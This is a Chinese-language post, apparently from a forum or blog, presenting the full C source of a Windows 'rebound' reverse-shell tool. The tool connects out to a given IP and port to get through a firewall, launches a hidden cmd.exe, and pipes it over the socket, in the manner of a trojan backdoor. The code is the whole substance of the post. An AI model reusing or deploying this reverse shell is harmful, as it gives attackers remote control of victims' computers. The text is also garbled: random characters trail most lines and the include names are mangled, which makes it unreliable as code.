这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;7 i0ko9
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/* ============================== dI-=0v-|
Rebound port in Windows NT w48T?
By wind,2006/7
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===============================*/ B c*Rn3i@
#include W DY,?
#include sL~TV([6/
f`p`c*
#pragma comment(lib,"wsock32.lib") FM0)/6I'x
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void OutputShell(); u
q:>g
SOCKET sClient; ~({aj|Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &B#HgWud
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void main(int argc,char **argv) w@X<</`
{ U{h5uezD
WSADATA stWsaData; c%Yvj
int nRet; g$?B!!qT
SOCKADDR_IN stSaiClient,stSaiServer; s41<e"
wX#=l?,K
if(argc != 3) R"!.|fH6
{ +=|Q'V
printf("Useage:\n\rRebound DestIP DestPort\n"); nO$(\
z)
return; {08UBnR
} iF{eGi
)1lR;fD
WSAStartup(MAKEWORD(2,2),&stWsaData); ai`fP{WlX
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g!V;*[
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stSaiClient.sin_family = AF_INET; ~{*FjZ`h
stSaiClient.sin_port = htons(0); =!9+f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }a"T7y23
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mNKe,H0
{ ;6L<Syl5
printf("Bind Socket Failed!\n"); 0DIaXdOdW+
return; K;_p>bI5
} xI<Dc*G
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stSaiServer.sin_family = AF_INET; hBLJKSv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aQMET~A:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IJs*zzR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !0fpD'f!n
{ UALwr>+VJ
printf("Connect Error!"); WA8Qt\Q
return; 6WgGewn
} /+"BU-aQk
OutputShell(); >wdR4!x!?
} ]b.@i&M
#|GP]`YT
void OutputShell() z~A||@4'
{ 7sC$hm]
char szBuff[1024]; MQD UJ^I$
SECURITY_ATTRIBUTES stSecurityAttributes; >VE,/?71@
OSVERSIONINFO stOsversionInfo; L<J';#BD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]H[RY&GY
STARTUPINFO stStartupInfo; e8a_)TU?
char *szShell; xFHc+m' m~
PROCESS_INFORMATION stProcessInformation; ;f^.7|
unsigned long lBytesRead; I/Hwf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p` B48TW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |UZ#2
stSecurityAttributes.lpSecurityDescriptor = 0; ]B:g<}5$4
stSecurityAttributes.bInheritHandle = TRUE; p;"pTGoWi
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vy,ER<
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FaPX[{_E
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Jq l#z/z
=~?2i)-mC
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?M;2H{KG:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^p|MkB?uM
stStartupInfo.wShowWindow = SW_HIDE; FdKp@&O+1
stStartupInfo.hStdInput = hReadPipe; @%O"P9;s
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `]FA} wC
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GetVersionEx(&stOsversionInfo); .*r?zDV
7F>5<Gv:-
switch(stOsversionInfo.dwPlatformId) }C}~)qaZv+
{ xA`Q4"[I
case 1: (NFq/w%
szShell = "command.com"; q<@f3[A
break; \"V7O'S)&
default: G+=euK2]
szShell = "cmd.exe"; go|/I&
break; &[3 xpi{v
} Fs|fo-+H}k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "e69aAA,
q+19EJ(
send(sClient,szMsg,77,0); [~W"$sT
while(1) #@;RJJZg
{ y/$WjFj3"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2rB$&>}T
if(lBytesRead) V.XHjHT
{ 6ALf`:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); js^@tgf$x&
send(sClient,szBuff,lBytesRead,0); G':mc{{
} f#ID:Ap3
else =V5<>5"M?
{ U8c0N<j
lBytesRead=recv(sClient,szBuff,1024,0); Qi&!IG
if(lBytesRead<=0) break; X{| 1E85fl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )r~$N0\D
} pT>[w1Kk^
} J|W~\(W6i
? #-"YO7
return; 3=o3VGZP
}